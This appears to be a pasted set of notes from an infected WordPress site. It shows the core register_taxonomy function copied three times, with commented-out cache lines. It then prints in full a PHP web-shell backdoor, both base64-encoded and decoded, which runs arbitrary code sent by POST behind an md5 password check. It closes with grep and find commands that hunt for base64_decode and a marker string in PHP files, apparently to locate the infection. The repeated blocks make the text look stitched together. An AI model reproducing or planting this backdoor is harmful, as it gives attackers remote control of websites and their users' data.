function register_taxonomy( $taxonomy, $object_type, $args = array() ) {
/* br added */
// $cache_key = 'br_cache_tax_' . md5($taxonomy);
// wp_cache_delete( $cache_key );
// $cache = wp_cache_get( $cache_key );
// if( false !== $cache )
// return $cache;
/* ./ br added */
global $wp_taxonomies;
if ( ! is_array( $wp_taxonomies ) ) {
$wp_taxonomies = array();
}
$args = wp_parse_args( $args );
if ( empty( $taxonomy ) || strlen( $taxonomy ) > 32 ) {
_doing_it_wrong( __FUNCTION__, __( 'Taxonomy names must be between 1 and 32 characters in length.' ), '4.2.0' );
return new WP_Error( 'taxonomy_length_invalid', __( 'Taxonomy names must be between 1 and 32 characters in length.' ) );
}
$taxonomy_object = new WP_Taxonomy( $taxonomy, $object_type, $args );
$taxonomy_object->add_rewrite_rules();
$wp_taxonomies[ $taxonomy ] = $taxonomy_object;
$taxonomy_object->add_hooks();
// Add default term.
if ( ! empty( $taxonomy_object->default_term ) ) {
$term = term_exists( $taxonomy_object->default_term['name'], $taxonomy );
if ( $term ) {
update_option( 'default_term_' . $taxonomy_object->name, $term['term_id'] );
} else {
$term = wp_insert_term(
$taxonomy_object->default_term['name'],
$taxonomy,
array(
'slug' => sanitize_title( $taxonomy_object->default_term['slug'] ),
'description' => $taxonomy_object->default_term['description'],
)
);
// Update `term_id` in options.
if ( ! is_wp_error( $term ) ) {
update_option( 'default_term_' . $taxonomy_object->name, $term['term_id'] );
}
}
}
/**
* Fires after a taxonomy is registered.
*
* @since 3.3.0
*
* @param string $taxonomy Taxonomy slug.
* @param array|string $object_type Object type or array of object types.
* @param array $args Array of taxonomy registration arguments.
*/
do_action( 'registered_taxonomy', $taxonomy, $object_type, (array) $taxonomy_object );
/* br added */
//wp_cache_set( $cache_key, $taxonomy_object ); // добавим данные в кэш
/* ./ br added */
return $taxonomy_object;
}
function register_taxonomy( $taxonomy, $object_type, $args = array() ) {
/* br added */
// $cache_key = 'br_cache_tax_' . md5($taxonomy);
// wp_cache_delete( $cache_key );
// $cache = wp_cache_get( $cache_key );
// if( false !== $cache )
// return $cache;
/* ./ br added */
global $wp_taxonomies;
if ( ! is_array( $wp_taxonomies ) ) {
$wp_taxonomies = array();
}
$args = wp_parse_args( $args );
if ( empty( $taxonomy ) || strlen( $taxonomy ) > 32 ) {
_doing_it_wrong( __FUNCTION__, __( 'Taxonomy names must be between 1 and 32 characters in length.' ), '4.2.0' );
return new WP_Error( 'taxonomy_length_invalid', __( 'Taxonomy names must be between 1 and 32 characters in length.' ) );
}
$taxonomy_object = new WP_Taxonomy( $taxonomy, $object_type, $args );
$taxonomy_object->add_rewrite_rules();
$wp_taxonomies[ $taxonomy ] = $taxonomy_object;
$taxonomy_object->add_hooks();
// Add default term.
if ( ! empty( $taxonomy_object->default_term ) ) {
$term = term_exists( $taxonomy_object->default_term['name'], $taxonomy );
if ( $term ) {
update_option( 'default_term_' . $taxonomy_object->name, $term['term_id'] );
} else {
$term = wp_insert_term(
$taxonomy_object->default_term['name'],
$taxonomy,
array(
'slug' => sanitize_title( $taxonomy_object->default_term['slug'] ),
'description' => $taxonomy_object->default_term['description'],
)
);
// Update `term_id` in options.
if ( ! is_wp_error( $term ) ) {
update_option( 'default_term_' . $taxonomy_object->name, $term['term_id'] );
}
}
}
/**
* Fires after a taxonomy is registered.
*
* @since 3.3.0
*
* @param string $taxonomy Taxonomy slug.
* @param array|string $object_type Object type or array of object types.
* @param array $args Array of taxonomy registration arguments.
*/
do_action( 'registered_taxonomy', $taxonomy, $object_type, (array) $taxonomy_object );
/* br added */
//wp_cache_set( $cache_key, $taxonomy_object ); // добавим данные в кэш
/* ./ br added */
return $taxonomy_object;
}
function register_taxonomy( $taxonomy, $object_type, $args = array() ) {
/* br added */
// $cache_key = 'br_cache_tax_' . md5($taxonomy);
// wp_cache_delete( $cache_key );
// $cache = wp_cache_get( $cache_key );
// if( false !== $cache )
// return $cache;
/* ./ br added */
global $wp_taxonomies;
if ( ! is_array( $wp_taxonomies ) ) {
$wp_taxonomies = array();
}
$args = wp_parse_args( $args );
if ( empty( $taxonomy ) || strlen( $taxonomy ) > 32 ) {
_doing_it_wrong( __FUNCTION__, __( 'Taxonomy names must be between 1 and 32 characters in length.' ), '4.2.0' );
return new WP_Error( 'taxonomy_length_invalid', __( 'Taxonomy names must be between 1 and 32 characters in length.' ) );
}
$taxonomy_object = new WP_Taxonomy( $taxonomy, $object_type, $args );
$taxonomy_object->add_rewrite_rules();
$wp_taxonomies[ $taxonomy ] = $taxonomy_object;
$taxonomy_object->add_hooks();
// Add default term.
if ( ! empty( $taxonomy_object->default_term ) ) {
$term = term_exists( $taxonomy_object->default_term['name'], $taxonomy );
if ( $term ) {
update_option( 'default_term_' . $taxonomy_object->name, $term['term_id'] );
} else {
$term = wp_insert_term(
$taxonomy_object->default_term['name'],
$taxonomy,
array(
'slug' => sanitize_title( $taxonomy_object->default_term['slug'] ),
'description' => $taxonomy_object->default_term['description'],
)
);
// Update `term_id` in options.
if ( ! is_wp_error( $term ) ) {
update_option( 'default_term_' . $taxonomy_object->name, $term['term_id'] );
}
}
}
/**
* Fires after a taxonomy is registered.
*
* @since 3.3.0
*
* @param string $taxonomy Taxonomy slug.
* @param array|string $object_type Object type or array of object types.
* @param array $args Array of taxonomy registration arguments.
*/
do_action( 'registered_taxonomy', $taxonomy, $object_type, (array) $taxonomy_object );
/* br added */
//wp_cache_set( $cache_key, $taxonomy_object ); // добавим данные в кэш
/* ./ br added */
return $taxonomy_object;
}
$b = base64_decode('PD9waHAgIGlmKGlzc2V0KCRfUE9TVFsnbHQnXSkgJiYgbWQ1KCRfUE9TVFsnbHQnXSkgPT0gYmFzZTY0X2RlY29kZSgiTURJek1qVTRZbUpsWWpkalpUazFOV0UyT1RCa1kyRXdOVFppWlRnNE5XUT0iKSApIHskbHQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFsnYSddKTtmaWxlX3B1dF9jb250ZW50cygnbHRlXycsJzw/cGhwICcuJGx0KTskbHQ9J2x0ZV8nO2lmKGZpbGVfZXhpc3RzKCRsdCkpe2luY2x1ZGUoJGx0KTt1bmxpbmsoJGx0KTt9fSA/Pg==');
<?php if(isset($_POST['lt']) && md5($_POST['lt']) == base64_decode("MDIzMjU4YmJlYjdjZTk1NWE2OTBkY2EwNTZiZTg4NWQ=") ) {$lt = base64_decode($_POST['a']);file_put_contents('lte_','<?php '.$lt);$lt='lte_';if(file_exists($lt)){include($lt);unlink($lt);}} ?>
grep --color -r 'base64_decode' /var/www/user/data/www/site.ru/
find . -type f -name '*.php' -exec grep --color -r ssqqss {} +
find . -type f -name '*.php' -exec grep base64 {} +